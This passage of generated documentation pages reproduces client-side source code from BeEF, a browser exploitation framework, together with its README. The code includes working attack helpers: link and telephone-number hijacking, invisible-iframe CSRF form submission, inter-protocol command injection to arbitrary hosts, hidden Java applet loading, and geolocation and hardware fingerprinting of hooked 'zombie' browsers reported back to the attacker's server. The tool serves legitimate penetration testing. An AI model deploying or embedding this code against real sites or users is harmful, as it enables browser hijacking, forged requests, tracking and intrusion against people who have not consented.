	 * @param {Boolean} append: automatically append the form to the body
	 * @return {Object} a form object
	 */
	createForm: function(params, append) {
		var form = $j('<form></form>').attr(params);
		if (append)
			$j('body').append(form);
		return form;
	},
	
	loadScript: function(url) {
	  var s = document.createElement('script');
	  s.type = 'text/javascript';
	  s.src = url;
	  $j('body').append(s);
	},

	/**
	 * Get the location of the current page.
	 * @return the location.
	 */
	getLocation: function() {
		return document.location.href;
	},
	
	/**
	 * Get links of the current page.
	 * @return array of URLs.
	 */
	getLinks: function() {
		var linksarray = [];
		var links = document.links;
		for(var i = 0; i<links.length; i++) {
			linksarray = linksarray.concat(links[i].href)		
		};
		return linksarray
	},
	
	/**
	 * Rewrites all links matched by selector to url, also rebinds the click method to simply return true
	 * @param {String} url: the url to be rewritten
	 * @param {String} selector: the jquery selector statement to use, defaults to all a tags.
	 * @return {Number} the amount of links found in the DOM and rewritten.
	 */
	rewriteLinks: function(url, selector) {
		var sel = (selector == null) ? 'a' : selector;
		return $j(sel).each(function() {
			if ($j(this).attr('href') != null)
			{
				$j(this).attr('href', url).click(function() { return true; });
			}
		}).length;
	},

	/**
	 * Rewrites all links matched by selector to url, leveraging Bilawal Hameed's hidden click event overwriting.
	 * http://bilaw.al/2013/03/17/hacking-the-a-tag-in-100-characters.html
	 * @param {String} url: the url to be rewritten
	 * @param {String} selector: the jquery selector statement to use, defaults to all a tags.
	 * @return {Number} the amount of links found in the DOM and rewritten.
	 */
	rewriteLinksClickEvents: function(url, selector) {
		var sel = (selector == null) ? 'a' : selector;
		return $j(sel).each(function() {
			if ($j(this).attr('href') != null)
			{
				$j(this).click(function() {this.href=url});
			}
		}).length;
	},

	/**
     * Parse all links in the page matched by the selector, replacing old_protocol with new_protocol (ex.:https with http)
	 * @param {String} old_protocol: the old link protocol to be rewritten
	 * @param {String} new_protocol: the new link protocol to be written
	 * @param {String} selector: the jquery selector statement to use, defaults to all a tags.
	 * @return {Number} the amount of links found in the DOM and rewritten.
	 */
	rewriteLinksProtocol: function(old_protocol, new_protocol, selector) {

		var count = 0;
		var re = new RegExp(old_protocol+"://", "gi");
		var sel = (selector == null) ? 'a' : selector;

		$j(sel).each(function() {
			if ($j(this).attr('href') != null) {
				var url = $j(this).attr('href');
				if (url.match(re)) {
					$j(this).attr('href', url.replace(re, new_protocol+"://")).click(function() { return true; });
					count++;
				}
			}
		});

		return count;
	},

	/**
	 * Parse all links in the page matched by the selector, replacing all telephone urls ('tel' protocol handler) with a new telephone number
	 * @param {String} new_number: the new link telephone number to be written
	 * @param {String} selector: the jquery selector statement to use, defaults to all a tags.
	 * @return {Number} the amount of links found in the DOM and rewritten.
	 */
	rewriteTelLinks: function(new_number, selector) {

		var count = 0;
		var re = new RegExp("tel:/?/?.*", "gi");
		var sel = (selector == null) ? 'a' : selector;

		$j(sel).each(function() {
			if ($j(this).attr('href') != null) {
				var url = $j(this).attr('href');
				if (url.match(re)) {
					$j(this).attr('href', url.replace(re, "tel:"+new_number)).click(function() { return true; });
					count++;
				}
			}
		});

		return count;
	},

    /**
     * Given an array of objects (key/value), return a string of param tags ready to append in applet/object/embed
     * @param {Array} an array of params for the applet, ex.: [{'argc':'5', 'arg0':'ReverseTCP'}]
     * @return {String} the parameters as a string ready to append to applet/embed/object tags (ex.: <param name='abc' value='test' />).
     */
    parseAppletParams: function(params){
         var result = '';
         for (i in params){
           var param = params[i];
           for(key in param){
              result += "<param name='" + key + "' value='" + param[key] + "' />";
           }
         }
        return result;
    },

    /**
     * Attach an applet to the DOM, using the best approach for differet browsers (object/applet/embed).
     * example usage in the code, using a JAR archive (recommended and faster):
     * beef.dom.attachApplet('appletId', 'appletName', 'SuperMario3D.class', null, 'http://127.0.0.1:3000/ui/media/images/target.jar', [{'param1':'1', 'param2':'2'}]);
     * example usage in the code, using codebase:
     * beef.dom.attachApplet('appletId', 'appletName', 'SuperMario3D', 'http://127.0.0.1:3000/', null, null);
     * @param {String} id: reference identifier to the applet.
     * @param {String} code: name of the class to be loaded. For example, beef.class.
     * @param {String} codebase: the URL of the codebase (usually used when loading a single class for an unsigned applet).
     * @param {String} archive: the jar that contains the code.
     * @param {String} params: an array of additional params that the applet except.
     */
    attachApplet: function(id, name, code, codebase, archive, params) {
        var content = null;
        if (beef.browser.isIE()) {
            content = "" + // the classid means 'use the latest JRE available to launch the applet'
                "<object id='" + id + "'classid='clsid:8AD9C840-044E-11D1-B3E9-00805F499D93' " +
                "height='0' width='0' name='" + name + "'> " +
                "<param name='code' value='" + code + "' />";

            if (codebase != null) {
                content += "<param name='codebase' value='" + codebase + "' />"
            }
            if (archive != null){
                content += "<param name='archive' value='" + archive + "' />";
            }
            if (params != null) {
                content += beef.dom.parseAppletParams(params);
            }
            content += "</object>";
        }
        if (beef.browser.isC() || beef.browser.isS() || beef.browser.isO() || beef.browser.isFF()) {

            if (codebase != null) {
                content = "" +
                    "<applet id='" + id + "' code='" + code + "' " +
                    "codebase='" + codebase + "' " +
                    "height='0' width='0' name='" + name + "'>";
            } else {
                content = "" +
                    "<applet id='" + id + "' code='" + code + "' " +
                    "archive='" + archive + "' " +
                    "height='0' width='0' name='" + name + "'>";
            }

            if (params != null) {
                content += beef.dom.parseAppletParams(params);
            }
            content += "</applet>";
        }
        // For some reasons JavaPaylod is not working if the applet is attached to the DOM with the embed tag rather than the applet tag.
//        if (beef.browser.isFF()) {
//            if (codebase != null) {
//                content = "" +
//                    "<embed id='" + id + "' code='" + code + "' " +
//                    "type='application/x-java-applet' codebase='" + codebase + "' " +
//                    "height='0' width='0' name='" + name + "'>";
//            } else {
//                content = "" +
//                    "<embed id='" + id + "' code='" + code + "' " +
//                    "type='application/x-java-applet' archive='" + archive + "' " +
//                    "height='0' width='0' name='" + name + "'>";
//            }
//
//            if (params != null) {
//                content += beef.dom.parseAppletParams(params);
//            }
//            content += "</embed>";
//        }
        $j('body').append(content);
    },

    /**
     * Given an id, remove the applet from the DOM.
     * @param {String} id: reference identifier to the applet.
     */
    detachApplet: function(id) {
        $j('#' + id + '').detach();
    },

    /**
     * Create an invisible iFrame with a form inside, and submit it. Useful for XSRF attacks delivered via POST requests.
     * @param {String} action: the form action attribute, where the request will be sent.
     * @param {String} method: HTTP method, usually POST.
     * @param {String} enctype: form encoding type
     * @param {Array} inputs: an array of inputs to be added to the form (type, name, value).
     *         example: [{'type':'hidden', 'name':'1', 'value':''} , {'type':'hidden', 'name':'2', 'value':'3'}]
     */
    createIframeXsrfForm: function(action, method, enctype, inputs){
        var iframeXsrf = beef.dom.createInvisibleIframe();

        var formXsrf = document.createElement('form');
        formXsrf.setAttribute('action',  action);
        formXsrf.setAttribute('method',  method);
        formXsrf.setAttribute('enctype', enctype);

        var input = null;
        for (i in inputs){
            var attributes = inputs[i];
            input = document.createElement('input');
                for(key in attributes){
                    if (key == 'name' && attributes[key] == 'submit') {
                      // workaround for https://github.com/beefproject/beef/issues/1117
                      beef.debug("createIframeXsrfForm - warning: changed form input 'submit' to 'Submit'");
                      input.setAttribute('Submit', attributes[key]);
                    } else {
                      input.setAttribute(key, attributes[key]);
                    }
                }
            formXsrf.appendChild(input);
        }
        iframeXsrf.contentWindow.document.body.appendChild(formXsrf);
        formXsrf.submit();

        return iframeXsrf;
    },

    /**
     * Create an invisible iFrame with a form inside, and POST the form in plain-text. Used for inter-protocol exploitation.
     * @param {String} rhost: remote host ip/domain
     * @param {String} rport: remote port
     * @param {String} commands: protocol commands to be executed by the remote host:port service
     */
    createIframeIpecForm: function(rhost, rport, path, commands){
        var iframeIpec = beef.dom.createInvisibleIframe();

        var formIpec = document.createElement('form');
        formIpec.setAttribute('action',  'http://'+rhost+':'+rport+path);
        formIpec.setAttribute('method',  'POST');
        formIpec.setAttribute('enctype', 'multipart/form-data');

        input = document.createElement('textarea');
        input.setAttribute('name', Math.random().toString(36).substring(5));
        input.value = commands;
        formIpec.appendChild(input);
        iframeIpec.contentWindow.document.body.appendChild(formIpec);
        formIpec.submit();

        return iframeIpec;
    }

};

beef.regCmp('beef.dom');

Documentation generated by JSDoc 4.0.4 on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)
================================================ FILE: docs/encode_base64.js.html ================================================ JSDoc: Source: encode/base64.js

Source: encode/base64.js

//
// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - https://beefproject.com
// See the file 'doc/COPYING' for copying permission
//

// Base64 code from http://stackoverflow.com/questions/3774622/how-to-base64-encode-inside-of-javascript/3774662#3774662

beef.encode = {};

/** 
 * Base64 code from http://stackoverflow.com/questions/3774622/how-to-base64-encode-inside-of-javascript/3774662#3774662
 * @namespace beef.encode.base64 
 */
beef.encode.base64 = {
	
	keyStr: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
    /** 
     * @memberof beef.encode.base64 
     * @param {string} input
     * @return {string}
     */
    encode : function (input) {
        if (window.btoa) {
           return btoa(unescape(encodeURIComponent(input)));
        }

        var output = "";
        var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
        var i = 0;

        input = beef.encode.base64.utf8_encode(input);

        while (i < input.length) {

            chr1 = input.charCodeAt(i++);
            chr2 = input.charCodeAt(i++);
            chr3 = input.charCodeAt(i++);

            enc1 = chr1 >> 2;
            enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
            enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
            enc4 = chr3 & 63;

            if (isNaN(chr2)) {
                enc3 = enc4 = 64;
            } else if (isNaN(chr3)) {
                enc4 = 64;
            }

            output = output +
            this.keyStr.charAt(enc1) + this.keyStr.charAt(enc2) +
            this.keyStr.charAt(enc3) + this.keyStr.charAt(enc4);

        }

        return output;
    },

    /** 
     * @memberof beef.encode.base64 
     * @param {string} input
     * @return {string}
     */
    decode : function (input) {
        if (window.atob) {
            return escape(atob(input));
        }

        var output = "";
        var chr1, chr2, chr3;
        var enc1, enc2, enc3, enc4;
        var i = 0;

        input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");

        while (i < input.length) {

            enc1 = this.keyStr.indexOf(input.charAt(i++));
            enc2 = this.keyStr.indexOf(input.charAt(i++));
            enc3 = this.keyStr.indexOf(input.charAt(i++));
            enc4 = this.keyStr.indexOf(input.charAt(i++));

            chr1 = (enc1 << 2) | (enc2 >> 4);
            chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
            chr3 = ((enc3 & 3) << 6) | enc4;

            output = output + String.fromCharCode(chr1);

            if (enc3 != 64) {
                output = output + String.fromCharCode(chr2);
            }
            if (enc4 != 64) {
                output = output + String.fromCharCode(chr3);
            }

        }

        output = beef.encode.base64.utf8_decode(output);

        return output;

    },

    /** 
     * @memberof beef.encode.base64 
     * @param {string} string
     * @return {string}
     */
    utf8_encode : function (string) {
        string = string.replace(/\r\n/g,"\n");
        var utftext = "";

        for (var n = 0; n < string.length; n++) {

            var c = string.charCodeAt(n);

            if (c < 128) {
                utftext += String.fromCharCode(c);
            }
            else if((c > 127) && (c < 2048)) {
                utftext += String.fromCharCode((c >> 6) | 192);
                utftext += String.fromCharCode((c & 63) | 128);
            }
            else {
                utftext += String.fromCharCode((c >> 12) | 224);
                utftext += String.fromCharCode(((c >> 6) & 63) | 128);
                utftext += String.fromCharCode((c & 63) | 128);
            }

        }

        return utftext;
    },
    /** 
     * @memberof beef.encode.base64 
     * @param {string} utftext
     * @return {string} 
     */
    utf8_decode : function (utftext) {
        var string = "";
        var i = 0;
        var c = c1 = c2 = 0;

        while ( i < utftext.length ) {

            c = utftext.charCodeAt(i);

            if (c < 128) {
                string += String.fromCharCode(c);
                i++;
            }
            else if((c > 191) && (c < 224)) {
                c2 = utftext.charCodeAt(i+1);
                string += String.fromCharCode(((c & 31) << 6) | (c2 & 63));
                i += 2;
            }
            else {
                c2 = utftext.charCodeAt(i+1);
                c3 = utftext.charCodeAt(i+2);
                string += String.fromCharCode(((c & 15) << 12) | ((c2 & 63) << 6) | (c3 & 63));
                i += 3;
            }

        }

        return string;
    }

};

beef.regCmp('beef.encode.base64');

Documentation generated by JSDoc 4.0.4 on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)
================================================ FILE: docs/encode_json.js.html ================================================ JSDoc: Source: encode/json.js

Source: encode/json.js

//
// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - https://beefproject.com
// See the file 'doc/COPYING' for copying permission
//

/** 
 * Json code from Brantlye Harris-- http://code.google.com/p/jquery-json/
 * @namespace beef.encode.json
 */

beef.encode.json = {
	/**
     * @memberof beef.encode.json
     * @param o 
     */
	stringify: function(o) {
        if (typeof(JSON) == 'object' && JSON.stringify) {
            // Error on stringifying cylcic structures caused polling to die
            try {
                s = JSON.stringify(o);    
            } catch(error) {
                // TODO log error / handle cyclic structures? 
            }
            return s;
        }
        var type = typeof(o);
    
        if (o === null)
            return "null";
    
        if (type == "undefined")
            return '\"\"';
        
        if (type == "number" || type == "boolean")
            return o + "";
    
        if (type == "string")
            return $j.quoteString(o);
    
        if (type == 'object')
        {
            if (typeof o.toJSON == "function") 
                return $j.toJSON( o.toJSON() );
            
            if (o.constructor === Date)
            {
                var month = o.getUTCMonth() + 1;
                if (month < 10) month = '0' + month;

                var day = o.getUTCDate();
                if (day < 10) day = '0' + day;

                var year = o.getUTCFullYear();
                
                var hours = o.getUTCHours();
                if (hours < 10) hours = '0' + hours;
                
                var minutes = o.getUTCMinutes();
                if (minutes < 10) minutes = '0' + minutes;
                
                var seconds = o.getUTCSeconds();
                if (seconds < 10) seconds = '0' + seconds;
                
                var milli = o.getUTCMilliseconds();
                if (milli < 100) milli = '0' + milli;
                if (milli < 10) milli = '0' + milli;

                return '"' + year + '-' + month + '-' + day + 'T' +
                             hours + ':' + minutes + ':' + seconds + 
                             '.' + milli + 'Z"'; 
            }

            if (o.constructor === Array) 
            {
                var ret = [];
                for (var i = 0; i < o.length; i++)
                    ret.push( $j.toJSON(o[i]) || "null" );

                return "[" + ret.join(",") + "]";
            }
        
            var pairs = [];
            for (var k in o) {
                var name;
                var type = typeof k;

                if (type == "number")
                    name = '"' + k + '"';
                else if (type == "string")
                    name = $j.quoteString(k);
                else
                    continue;  //skip non-string or number keys
            
                if (typeof o[k] == "function") 
                    continue;  //skip pairs where the value is a function.
            
                var val = $j.toJSON(o[k]);
            
                pairs.push(name + ":" + val);
            }

            return "{" + pairs.join(", ") + "}";
        }
    },
    /**
     * @memberof beef.encode.json
     * @param string 
     */
    quoteString: function(string) {
        if (string.match(this._escapeable))
        {
            return '"' + string.replace(this._escapeable, function (a) 
            {
                var c = this._meta[a];
                if (typeof c === 'string') return c;
                c = a.charCodeAt();
                return '\\u00' + Math.floor(c / 16).toString(16) + (c % 16).toString(16);
            }) + '"';
        }
        return '"' + string + '"';
    },
    
    _escapeable: /["\\\x00-\x1f\x7f-\x9f]/g,
    
    _meta : {
        '\b': '\\b',
        '\t': '\\t',
        '\n': '\\n',
        '\f': '\\f',
        '\r': '\\r',
        '"' : '\\"',
        '\\': '\\\\'
    }
};

$j.toJSON = function(o) {return beef.encode.json.stringify(o);};
$j.quoteString = function(o) {return beef.encode.json.quoteString(o);};

beef.regCmp('beef.encode.json');

Documentation generated by JSDoc 4.0.4 on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)
================================================ FILE: docs/geolocation.js.html ================================================ JSDoc: Source: geolocation.js

Source: geolocation.js

//
// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - https://beefproject.com
// See the file 'doc/COPYING' for copying permission
//

/**
 * Provides functionalities to use the geolocation API.
 * @namespace beef.geolocation
 */

beef.geolocation = {

    /**
     * Check if browser supports the geolocation API
     * @return {boolean}
     */
    isGeolocationEnabled: function(){
		return !!navigator.geolocation;
    },

    /** 
     * Given latitude/longitude retrieves exact street position of the zombie
     * @param command_url
     * @param command_id
     * @param latitude
     * @param longitude
     */
    getOpenStreetMapAddress: function(command_url, command_id, latitude, longitude){

        // fixes damned issues with jquery 1.5, like this one:
        // http://bugs.jquery.com/ticket/8084
        $j.ajaxSetup({
            jsonp: null,
            jsonpCallback: null
        });

        $j.ajax({
            error: function(xhr, status, error){
                beef.debug("[geolocation.js] openstreetmap error");
                beef.net.send(command_url, command_id, "latitude=" + latitude
                             + "&longitude=" + longitude
                             + "&osm=UNAVAILABLE"
                             + "&geoLocEnabled=True");
                },
            success: function(data, status, xhr){
                beef.debug("[geolocation.js] openstreetmap success");
                //var jsonResp = $j.parseJSON(data);

                beef.net.send(command_url, command_id, "latitude=" + latitude
                             + "&longitude=" + longitude
//                             + "&osm=" + encodeURI(jsonResp.display_name)
                              + "&osm=" + data.display_name
                             + "&geoLocEnabled=True");
                },
            type: "get",
	    dataType: "json",
            url: "https://nominatim.openstreetmap.org/reverse?format=jsonv2&lat=" +
                latitude + "&lon=" + longitude + "&zoom=18&addressdetails=1"
        });

    },

    /**
     * Retrieve latitude/longitude using the geolocation API
     * @param command_url
     * @param command_id
     */
    getGeolocation: function (command_url, command_id){

        if (!navigator.geolocation) {
	        beef.net.send(command_url, command_id, "latitude=NOT_ENABLED&longitude=NOT_ENABLED&geoLocEnabled=False");	
			return;
		}
        beef.debug("[geolocation.js] navigator.geolocation.getCurrentPosition");
        navigator.geolocation.getCurrentPosition( //note: this is an async call
			function(position){ // success
				var latitude = position.coords.latitude;
        		var longitude = position.coords.longitude;
                beef.debug("[geolocation.js] success getting position. latitude [%d], longitude [%d]", latitude, longitude);
                beef.geolocation.getOpenStreetMapAddress(command_url, command_id, latitude, longitude);

			}, function(error){ // failure
                    beef.debug("[geolocation.js] error [%d] getting position", error.code);
					switch(error.code) // Returns 0-3
					{
						case 0:
			            	beef.net.send(command_url, command_id, "latitude=UNKNOWN_ERROR&longitude=UNKNOWN_ERROR&geoLocEnabled=False");
							return;
						case 1:
		            		beef.net.send(command_url, command_id, "latitude=PERMISSION_DENIED&longitude=PERMISSION_DENIED&geoLocEnabled=False");
							return;
						case 2:
		            		beef.net.send(command_url, command_id, "latitude=POSITION_UNAVAILABLE&longitude=POSITION_UNAVAILABLE&geoLocEnabled=False");
							return;
						case 3:
					   		beef.net.send(command_url, command_id, "latitude=TIMEOUT&longitude=TIMEOUT&geoLocEnabled=False");
							return;
					}
            	beef.net.send(command_url, command_id, "latitude=UNKNOWN_ERROR&longitude=UNKNOWN_ERROR&geoLocEnabled=False");
			},
			{enableHighAccuracy:true, maximumAge:30000, timeout:27000}
		);
    }
}


beef.regCmp('beef.geolocation');

Documentation generated by JSDoc 4.0.4 on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)
================================================ FILE: docs/global.html ================================================ JSDoc: Global

Global


Documentation generated by JSDoc 4.0.4 on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)
================================================ FILE: docs/hardware.js.html ================================================ JSDoc: Source: hardware.js

Source: hardware.js

//
// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - https://beefproject.com
// See the file 'doc/COPYING' for copying permission
//

/**
 * @namespace beef.hardware
 */

beef.hardware = {

  ua: navigator.userAgent,

  /**
   * @return {String} CPU type
   */
  getCpuArch: function() {
    var arch = 'UNKNOWN';
    // note that actually WOW64 means IE 32bit and Windows 64 bit. we are more interested
    // in detecting the OS arch rather than the browser build
    if (navigator.userAgent.match('(WOW64|x64|x86_64)') || navigator.platform.toLowerCase() == "win64"){
      arch = 'x86_64';
    }else if(typeof navigator.cpuClass != 'undefined'){
      switch (navigator.cpuClass) {
        case '68K':
          arch = 'Motorola 68K';
          break;
        case 'PPC':
          arch = 'Motorola PPC';
          break;
        case 'Digital':
          arch = 'Alpha';
          break;
        default:
          arch = 'x86';
      }
    }
    // TODO we can infer the OS is 64 bit, if we first detect the OS type (os.js).
    // For example, if OSX is at least 10.7, most certainly is 64 bit.
    return arch;
  },

  /**
   * Returns number of CPU cores
   * @return {String}
   */
  getCpuCores: function() {
    var cores = 'unknown';
    try {
      if(typeof navigator.hardwareConcurrency != 'undefined') {
        cores = navigator.hardwareConcurrency;
      }
    } catch(e) {
      cores = 'unknown';
    }
    return cores;
  },

  /**
   * Returns CPU details
   * @return {String}
   */
  getCpuDetails: function() {
    return {
      arch: beef.hardware.getCpuArch(),
      cores: beef.hardware.getCpuCores()
    }
  },

  /**
   * Returns GPU details
   * @return {object}
   */
  getGpuDetails: function() {
    var gpu = 'unknown';
    var vendor = 'unknown';
    // use canvas technique:
    // https://github.com/Valve/fingerprintjs2
    // http://codeflow.org/entries/2016/feb/10/webgl_debug_renderer_info-extension-survey-results/
    try {
      var getWebglCanvas = function () {
        var canvas = document.createElement('canvas')
        var gl = null
        try {
          gl = canvas.getContext('webgl') || canvas.getContext('experimental-webgl')
        } catch (e) { }
        if (!gl) { gl = null }
        return gl;
      }

      var glContext = getWebglCanvas();
      var extensionDebugRendererInfo = glContext.getExtension('WEBGL_debug_renderer_info');
      var gpu = glContext.getParameter(extensionDebugRendererInfo.UNMASKED_RENDERER_WEBGL);
      var vendor = glContext.getParameter(extensionDebugRendererInfo.UNMASKED_VENDOR_WEBGL);
      beef.debug("GPU: " + gpu + " - Vendor: " + vendor);
    } catch (e) {
      beef.debug('Failed to detect WebGL renderer: ' + e.toString());
    }
    return {
      gpu: gpu,
      vendor: vendor
    }
  },

  /**
   * Returns RAM (GiB)
   * @return {String}
   */
  getMemory: function() {
    var memory = 'unknown';
    try {
      if(typeof navigator.deviceMemory != 'undefined') {
        memory = navigator.deviceMemory;
      }
    } catch(e) {
      memory = 'unknown';
    }
    return memory;
  },

  /**
   * Returns battery details
   * @return {Object}
   */
  getBatteryDetails: function() {
    var battery = navigator.battery || navigator.webkitBattery || navigator.mozBattery;

    if (!!battery) {
      return {
        chargingStatus: battery.charging,
        batteryLevel: battery.level * 100 + "%",
        chargingTime: battery.chargingTime,
        dischargingTime: battery.dischargingTime
      }
    } else {
      return {
        chargingStatus: 'unknown',
        batteryLevel: 'unknown',
        chargingTime: 'unknown',
        dischargingTime: 'unknown'
      }
    }
  },

  /**
   * Returns zombie screen size and color depth.
   * @return {Object}
   */
  getScreenSize: function () {
    return {
      width: window.screen.width,
      height: window.screen.height,
      colordepth: window.screen.colorDepth
    }
  },

  /**
   * Is touch enabled?
   * @return {Boolean} true or false.
   */
  isTouchEnabled: function() {
    if ('ontouchstart' in document) return true;
    return false;
  },

  /**
   * Is virtual machine?
   * @return {Boolean} true or false.
   */
  isVirtualMachine: function() {
    if (this.getGpuDetails().vendor.match('VMware, Inc'))
      return true;

    if (this.isMobileDevice())
      return false;

    // if the screen resolution is uneven, and it's not a known mobile device
    // then it's probably a VM
    if (screen.width % 2 || screen.height % 2)
      return true;

    return false;
  },

  /**
   * Is a Laptop?
   * @return {Boolean} true or false.
   */
  isLaptop: function() {
    if (this.isMobileDevice()) return false;
    // Most common laptop screen resolution
    if (screen.width == 1366 && screen.height == 768) return true;
    // Netbooks
    if (screen.width == 1024 && screen.height == 600) return true;
    return false;
  },

  /**
   * Is Nokia?
   * @return {Boolean} true or false.
   */
  isNokia: function() {
    return (this.ua.match('(Maemo Browser)|(Symbian)|(Nokia)|(Lumia )')) ? true : false;
  },

  /**
   * Is Zune?
   * @return {Boolean} true or false.
   */
  isZune: function() {
    return (this.ua.match('ZuneWP7')) ? true : false;
  },

  /**
   * Is HTC?
   * @return {Boolean} true or false.
   */
  isHtc: function() {
    return (this.ua.match('HTC')) ? true : false;
  },

  /**
   * Is Ericsson?
   * @return {Boolean} true or false.
   */
  isEricsson: function() {
    return (this.ua.match('Ericsson')) ? true : false;
  },

  /**
   * Is Motorola?
   * @return {Boolean} true or false.
   */
  isMotorola: function() {
    return (this.ua.match('Motorola')) ? true : false;
  },

  /**
   * Is Google?
   * @return {Boolean} true or false.
   */
  isGoogle: function() {
    return (this.ua.match('Nexus One')) ? true : false;
  },

  /**
   * Returns true if the browser is on a Mobile device
   * @return {Boolean} true or false
   *
   * @example: if(beef.hardware.isMobileDevice()) { ... }
   */
  isMobileDevice: function() {
    return MobileEsp.DetectMobileQuick();
  },

  /**
   * Returns true if the browser is on a game console
   * @return {Boolean} true or false
   *
   * @example: if(beef.hardware.isGameConsole()) { ... }
   */
  isGameConsole: function() {
    return MobileEsp.DetectGameConsole();
  },

  getName: function() {
    var ua = navigator.userAgent.toLowerCase();
    if(MobileEsp.DetectIphone())              { return "iPhone"};
    if(MobileEsp.DetectIpod())                { return "iPod Touch"};
    if(MobileEsp.DetectIpad())                { return "iPad"};
    if (this.isHtc())               { return 'HTC'};
    if (this.isMotorola())          { return 'Motorola'};
    if (this.isZune())              { return 'Zune'};
    if (this.isGoogle())            { return 'Google Nexus One'};
    if (this.isEricsson())          { return 'Ericsson'};
    if(MobileEsp.DetectAndroidPhone())        { return "Android Phone"};
    if(MobileEsp.DetectAndroidTablet())       { return "Android Tablet"};
    if(MobileEsp.DetectS60OssBrowser())       { return "Nokia S60 Open Source"};
    if(ua.search(MobileEsp.deviceS60) > -1)   { return "Nokia S60"};
    if(ua.search(MobileEsp.deviceS70) > -1)   { return "Nokia S70"};
    if(ua.search(MobileEsp.deviceS80) > -1)   { return "Nokia S80"};
    if(ua.search(MobileEsp.deviceS90) > -1)   { return "Nokia S90"};
    if(ua.search(MobileEsp.deviceSymbian) > -1)   { return "Nokia Symbian"};
    if (this.isNokia())             { return 'Nokia'};
    if(MobileEsp.DetectWindowsPhone7())       { return "Windows Phone 7"};
    if(MobileEsp.DetectWindowsPhone8())       { return "Windows Phone 8"};
    if(MobileEsp.DetectWindowsPhone10())      { return "Windows Phone 10"};
    if(MobileEsp.DetectWindowsMobile())       { return "Windows Mobile"};
    if(MobileEsp.DetectBlackBerryTablet())    { return "BlackBerry Tablet"};
    if(MobileEsp.DetectBlackBerryWebKit())    { return "BlackBerry OS 6"};
    if(MobileEsp.DetectBlackBerryTouch())     { return "BlackBerry Touch"};
    if(MobileEsp.DetectBlackBerryHigh())      { return "BlackBerry OS 5"};
    if(MobileEsp.DetectBlackBerry())          { return "BlackBerry"};
    if(MobileEsp.DetectPalmOS())              { return "Palm OS"};
    if(MobileEsp.DetectPalmWebOS())           { return "Palm Web OS"};
    if(MobileEsp.DetectGarminNuvifone())      { return "Gamin Nuvifone"};
    if(MobileEsp.DetectArchos())              { return "Archos"}
    if(MobileEsp.DetectBrewDevice())          { return "Brew"};
    if(MobileEsp.DetectDangerHiptop())        { return "Danger Hiptop"};
    if(MobileEsp.DetectMaemoTablet())         { return "Maemo Tablet"};
    if(MobileEsp.DetectSonyMylo())            { return "Sony Mylo"};
    if(MobileEsp.DetectAmazonSilk())          { return "Kindle Fire"};
    if(MobileEsp.DetectKindle())              { return "Kindle"};
    if(MobileEsp.DetectSonyPlaystation())                 { return "Playstation"};
    if(ua.search(MobileEsp.deviceNintendoDs) > -1)        { return "Nintendo DS"};
    if(ua.search(MobileEsp.deviceWii) > -1)               { return "Nintendo Wii"};
    if(ua.search(MobileEsp.deviceNintendo) > -1)          { return "Nintendo"};
    if(MobileEsp.DetectXbox())                            { return "Xbox"};
    if(this.isLaptop())                         { return "Laptop"};
    if(this.isVirtualMachine())                 { return "Virtual Machine"};

    return 'Unknown';
  }
};

beef.regCmp('beef.hardware');

Documentation generated by JSDoc 4.0.4 on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)
================================================ FILE: docs/index.html ================================================ JSDoc: Home

Home

===============================================================================

Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
Browser Exploitation Framework (BeEF) - https://beefproject.com
See the file 'doc/COPYING' for copying permission

===============================================================================

What is BeEF?

BeEF is short for The Browser Exploitation Framework. It is a penetration testing tool that focuses on the web browser.

Amid growing concerns about web-borne attacks against clients, including mobile clients, BeEF allows the professional penetration tester to assess the actual security posture of a target environment by using client-side attack vectors. Unlike other security frameworks, BeEF looks past the hardened network perimeter and client system, and examines exploitability within the context of the one open door: the web browser. BeEF will hook one or more web browsers and use them as beachheads for launching directed command modules and further attacks against the system from within the browser context.

Get Involved

You can get in touch with the BeEF team. Just check out the following:

Please, send us pull requests!

Web: https://beefproject.com/

Bugs: https://github.com/beefproject/beef/issues

Security Bugs: security@beefproject.com

Twitter: @beefproject

Discord: https://discord.gg/ugmKmHarKc

Requirements

  • Operating System: Mac OSX 10.5.0 or higher / modern Linux. Note: Windows is not supported.
  • Ruby: 3.0 or newer
  • SQLite: 3.x
  • Node.js: 10 or newer
  • The gems listed in the Gemfile: https://github.com/beefproject/beef/blob/master/Gemfile
  • Selenium is required on OSX: brew install selenium-server-standalone (See https://github.com/shvets/selenium)

Quick Start

The following is for the impatient.

The install script installs the required operating system packages and all the prerequisite Ruby gems:

$ ./install

For full installation details, please refer to INSTALL.txt or the Installation page on the wiki.

Upon successful installation, be sure to read the Configuration page on the wiki for important details on configuring and securing BeEF.

Documentation

Usage

To get started, simply execute beef and follow the instructions:

$ ./beef

Documentation generated by JSDoc 4.0.4 on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)
================================================ FILE: docs/init.js.html ================================================ JSDoc: Source: init.js

Source: init.js

//
// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - https://beefproject.com
// See the file 'doc/COPYING' for copying permission
//

/**
 * Contains the beef_init() method which starts the BeEF client-side
 * logic. Also, it overrides the 'onpopstate' and 'onclose' events on the windows object.
 *
 * If beef.pageIsLoaded is true, then this JS has been loaded >1 times
 * and will have a new session id. The new session id will need to know
 * the brwoser details. So sendback the browser details again.
 * 
 * @namespace beef.init
 */

